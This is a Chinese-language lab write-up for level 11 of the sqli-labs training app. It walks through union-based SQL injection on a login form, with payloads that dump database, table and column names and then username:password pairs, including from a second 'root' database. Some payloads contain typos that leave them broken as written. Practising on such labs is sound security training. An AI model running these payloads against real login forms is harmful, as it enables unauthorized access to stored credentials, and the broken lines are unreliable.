sqllab第十一关通关笔记

知识点:

  • 发现登录框就可以尝试注入
  • 登录框一般都是字符型注入
  • 通过注入可以获取其他表的信息
  • 绕过手段
    • 单引号闭合+联合注入
    • 也可以进行错误注入

首先看界面是一个登录框;通过admin admin登录进去,发现页面会把用户名和密码的登录信息打印出来;通过bp抓包进行测试是不是存在注入点

开始测试

构造payload:username=a'+or+1=1#

页面成功回显除了第一个用户名和密码;说明这里存在字符型注入;通过单引号闭合进行绕过

既然页面有回显可以尝试进行联合注入(尝试先用3个字段,前几关的经验)

构造payload:username=a'+unoion+select+1,2,3#

提示字段数不对,根据页面返回情况猜测是两个字段

构造payload:username=a'+union+select+1,2#

页面成功回显除了输入的信息;说明注入成功;下面可以进行数据库敏感信息的获取了

联合注入成功,获取数据库名

构造payload:username=a'+union+select+1,database()#

成功获取了数据库名

接下来获取数据库下的表名

构造payload:username=a'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'#

成功获取了security下的表名;

接下来获取users表中的所有字段名;

构造payload:username=a'+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'#

成功获取了相关的字段;发现里面有用户名和密码

接下来获取相关的数据信息(用户名和密码)

构造payload:username=a'+union+select+1,group_concat(username,':',password)+from+users#

这里直接用users表名了;因为当前默认使用的数据库是security;所有加不加都可以;如果不知道的情况下最好加上;如security.users

成功获取了用户的敏感信息

到这里其实就完成了;不需要在进行其他操作了但是我想测一下是不是能够读取其他数据库的信息

番外

接着进行操作;获取所有数据库名

构造payload:username=a'+group_concat(schema_name)+from+information_schema.schemata#

成功获取了所有的数据库信息;发现了一个root数据库

尝试获取root数据库的表名

构造payload:username=a'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_security='root'#

成功获取了所有的表名;发现有一个用户表

尝试读取users表的字段信息

构造payload:username=a'+union+select+1,group_concat(column_name)+from+information_schema.tables+where+table_schema='root'+and+table_name='users'#

成功获取users表中的字段信息

发现存在用户名和密码的字段

接下来对用户名和密码进行读取

构造payload:username=a'+union+select+1,grroup_concat(user,':',password)+from+root.users#

这里就要指定数据库了,因为默认是security数据库;通过指定root.users

成功获取了root表中的所有用户信息;可以看出密码进行加密了

到这里就真的结束了,真实畅快啊

10

相关推荐
循环过三天1 小时前
3.4、Python-集合
开发语言·笔记·python·学习·算法
昌sit!2 小时前
Linux系统性基础学习笔记
linux·笔记·学习
没有钱的钱仔3 小时前
机器学习笔记
人工智能·笔记·机器学习
好望角雾眠3 小时前
第四阶段C#通讯开发-9:网络协议Modbus下的TCP与UDP
网络·笔记·网络协议·tcp/ip·c#·modbus
仰望—星空4 小时前
MiniEngine学习笔记 : CommandListManager
c++·windows·笔记·学习·cg·direct3d
下午见。5 小时前
C语言结构体入门:定义、访问与传参全解析
c语言·笔记·学习
im_AMBER5 小时前
React 16
前端·笔记·学习·react.js·前端框架
lkbhua莱克瓦245 小时前
Java基础——常用算法5
java·开发语言·笔记·github
摇滚侠6 小时前
Spring Boot3零基础教程,响应式编程的模型,笔记109
java·spring boot·笔记
YuanDaima20487 小时前
[CrewAI] 第5课|基于多智能体构建一个 AI 客服支持系统
人工智能·笔记·多智能体·智能体·crewai